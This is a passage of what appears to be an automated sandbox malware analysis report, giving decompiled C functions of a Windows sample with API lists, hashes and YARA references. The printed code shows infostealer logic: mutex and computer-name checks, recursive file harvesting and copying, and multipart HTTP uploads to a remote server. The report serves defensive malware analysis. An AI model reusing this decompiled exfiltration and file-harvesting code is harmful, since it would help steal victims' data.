				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNELBASE(00000000,00000000,00785360,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Strings

`Sx, xrefs: 00406B33

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: `Sx
API String ID: 1925916568-2027873707
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNELBASE(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 00570DF8, Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00570223,?,?), ref: 00570E02
SetErrorMode.KERNELBASE(00000000,?,?,00570223,?,?), ref: 00570E07

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 02da20957aeb4dec3ee56efd800c1bb5026d07a1b57d02733b98a788d3f53bce
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: EBD0123114512CB7D7002B94DC09BCD7F5C9F05B66F008011FB0DD9181C7B0994047E5

Uniqueness

Uniqueness Score: -1.00%

Function 007726A6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 007726EE

Memory Dump Source

Source File: 00000014.00000002.410772963.0000000000771000.00000040.00000001.sdmp, Offset: 00771000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_771000_C29C.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 3a0e58ab3dece06631e6a7be1bcbb8a76f656855c93ac9d0cd79b48685432c7b
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 7CF0C2315007106BDB203AB59C8CB6E76E8BF48764F10452AE65AD14C1DA78EC464A60

Uniqueness

Uniqueness Score: -1.00%

Function 00570920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00570929

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction ID: 30f3d7182eefe4c983e93399632d1765ae8032794c4adb82b9e2ac84a56656d9
Opcode Fuzzy Hash: 89cc55c70507a058e9ffb3aae4f4296a9997ee6c0a4edae31c5b1a86bfd637e3
Instruction Fuzzy Hash: EE90026074415011D82025AC0C02B0500121751634F344B107130AD1E4D840D6400115

Uniqueness

Uniqueness Score: -1.00%

Function 00772365, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 007723B6

Memory Dump Source

Source File: 00000014.00000002.410772963.0000000000771000.00000040.00000001.sdmp, Offset: 00771000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_771000_C29C.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 639bdf490a15c8206d80453e4abe102fa52d5fd9f24eef747052bcb27088b29e
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 3B112B79A00208EFDB01DF98C989E98BBF5AF08751F058094F9589B362D375EA50EB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404BE0, Relevance: 114.1, APIs: 56, Strings: 9, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				void* _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_v1552 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000);
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x767040
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x7880a0
							_t219 =  *0x41a590; // 0x787498
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
							_t239 =  *0x41a2d8; // 0x7880a0
							_t207 =  *0x41a590; // 0x787498
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x786070
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x787308
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x767080
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x7860a0
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x786340
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_v6840 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560);
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,007822D0,007850C0,00786690,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,00767040), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,00787498,?,007880A0,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,00787498,?,007880A0,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,00786070), ref: 00404E78
lstrcat.KERNEL32(?,00787308), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,00767080), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,007860A0), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,00786340), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

------, xrefs: 00404CE8, 00404E32, 00404EC6
@cx, xrefs: 00404F5A
, xrefs: 00404F6D
@pv, xrefs: 00404D32
p`x, xrefs: 00404E6A
", xrefs: 00404E91
https://, xrefs: 00404C94
200, xrefs: 004050AF
", xrefs: 00404F23

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$------$200$@cx$@pv$https://$p`x
API String ID: 3074752877-1719168387
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 42.3, APIs: 21, Strings: 3, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x787b00
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 =  *0x41a050; // 0x788a80
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x787920
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x788a50
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1);
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388);
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1);
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124);
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24);
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20);
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596);
					__eflags = _t124;
				} while (_t124 != 0);
				return FindClose(_v272);
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\*, xrefs: 004087ED
%s\%s, xrefs: 00408866
yx, xrefs: 0040895A

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: yx$%s\%s$%s\*
API String ID: 180737720-2146574138
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_v5272 = FindFirstFileA( &_v5268,  &_v5596);
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
